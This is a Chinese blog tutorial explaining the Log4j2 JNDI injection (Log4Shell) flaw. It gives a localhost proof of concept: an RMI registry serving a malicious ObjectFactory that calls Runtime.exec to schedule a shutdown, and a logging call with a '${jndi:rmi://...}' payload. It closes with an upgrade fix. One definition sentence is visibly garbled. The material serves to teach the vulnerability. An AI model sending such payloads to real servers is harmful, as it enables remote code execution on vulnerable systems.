假如六六是个黑客怎么破解Log4j呢

·  阅读 779

大家好!我是小六六,三天打鱼,两天晒网!

最近两天,我相信Java圈子讨论最多的就是这个Log4J2的漏洞了,毕竟影响还是很大的

被全球广泛应用的组件Apache Log4j2被曝出一个已存在在野利用的高危漏洞,攻击者仅需一段代码就可远程控制受害者服务器。几乎所有行业都受到该漏洞影响,包括全球多家知名科技公司、电商网站等,漏洞波及面和危害程度均堪比 2017年的“永恒之蓝”漏洞。

原因

通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。 注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

小六六带大家来看看Log4j2的官网,我们先从官网找下答案 logging.apache.org/log4j/2.x/m…

image.png

什么是Lookups

Lookups提供了一种在Log4j配置文件任意位置添加值的方法。 它们是实现StrLookup接口的特定类型的插件。 有关如何在配置文件中使用Lookup的信息,请参Configuration页面的“属性替换”部分。

说直白点 它就是能打印一些特别的字符串,比如我们Java的系统参数,如果我们用容器,用了k8s,它提供出来打印一些参数,这样我们就可以在排查日志的时候。知道获得更多的日志信息了,直接来看我写的demo

image.png

那其实,如果仅仅是这个功能的话,其实也没什么,只是把字符串转换成了一些系统参数而已,这并不是最终的原因

真正的原因是Lookups是基于Jndi的,这才是它漏洞的根本所在

什么是JNDI

JNDI是什么: The Java Naming and Directory Interface,java命名和目录接口,是一组在java应用中访问命名和目录服务的API。为开发人员提供了查找和访问各种命名LDAP来黑掉我们的fu和目录服务的通用、统一的方式。借助于JNDI接口,能够通过名字定位用户、机器、网络、对象服务等

  • a. 命名服务: 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器
  • b. 目录服务: 一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息

嗯!按照小六六的理解你把它理解成一个注册中心就成!虽然不一定对哈,你暂时这样理解吧,JNDI其实还需要配合另外一个技术RMI或者LDAP来黑掉我们的服务

什么是RMI

其实分布式系统开发,早在0几年的时候就被提出来过,只不过当时的分布式技术并没有现在的那么成熟,今天漏洞的主角RMI,其实指的是JRMI

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

简单来说这个技术能够做到跨JVM调用,意思是调用一个远程方法,像调用本地方法一样,哈哈是不是感觉和现在的分布式系统开发很像呢?

来看看RMI的一个demo

image.png

首先我定义2个服务,一个A服务(我称为服务端) 一个B服务(我称为客户端)

A中有三个类

  • HelloService
package com.xiaoliuliu.a;

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}
复制代码
  • HelloServiceImpl
package com.xiaoliuliu.a;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    protected HelloServiceImpl() throws RemoteException {
    }

    public String sayHello() throws RemoteException {
        System.out.println("xiaoliuliu hello!");
        return " xiaoliuliu hello!";
    }


}
复制代码
  • A 启动类
package com.xiaoliuliu.a;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class A {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("hello", new HelloServiceImpl());
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

}
复制代码

B中有2个类

  • HelloService
package com.xiaoliuliu.a;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
    String sayHello() throws RemoteException;
}
复制代码
  • B 启动类
package com.xiaoliuliu.a;

import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class B {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            HelloService helloService = (HelloService) registry.lookup("hello");
            System.out.println(helloService.sayHello());

        } catch (NotBoundException e) {
            e.printStackTrace();
        }
    }
}
复制代码

然后我们启动A 再启动B 相当于2个JVM之前的调用就完成了

image.png

最后来看看Log4j是怎么实现这个远程调用的

重点来来,小六六带你一步步去解开这个谜题哈,首先六六这边肯定先启动一个小六六黑客服务端

  • HeiKe服务 2个类

image.png

  • OBJ 攻击服务要做的东西
package com.xiaoliuliu;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class OBJ implements ObjectFactory {

    static {

        System.out.println("小六六又黑到一台服务器");

        long time=3600L*24*6;
            try {
                //6天后关机
                Runtime.getRuntime().exec("Shutdown -s -t"+time);
                Thread.sleep(1000);
                //取消关机
                Runtime.getRuntime().exec("Shutdown -a ");
            }catch (Exception e){


            }

    }


    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("获取攻击。。。。。");
        return null;
    }
}
复制代码
  • Server 启动类
package com.xiaoliuliu;
/*
 六六黑客服务端
 */


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        System.out.println("小六六黑客注册成功 6666");

        String className="com.xiaoliuliu.OBJ";
        Reference reference = new Reference(className, className, null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aaa",referenceWrapper);
        System.out.println("小六六黑客服务器绑定成功");

    }

}
复制代码

然后开最后是怎么黑的

  • Demo
package com.xiaoliuliu;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Demo {

    private static  final Logger log= LogManager.getLogger();

    public static void main(String[] args) {
        //部分需要这个 看jdk版本
    //    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        String userName="${jndi:rmi://127.0.0.1:1099/aaa}";
        log.info("小六六的名字 {}" ,userName );


    }
}
复制代码

image.png

看重点,我竟然利用了Log4J执行了 我黑客服务的代码,你就说6不6,这他妈 分分钟搞死你的服务。。。我的天

解决方案

解决方案这玩意当然也简单,我把版本神级到2.15就好了,小六六当场给你演示

image.png

看到没有,完美解决!

结束

好了,我们来总结下,其实这个漏洞就是可以利用jndi和rmi这2种技术使你部署的服务器执行了我黑客服务器的代码,从而达到黑客的目的。这个问题小六六就给大家讲到这了,好了 我是小六六,三天打鱼,两天晒网!

分类:
后端
标签:
分类:
后端
标签:
收藏成功!
已添加到「」, 点击更改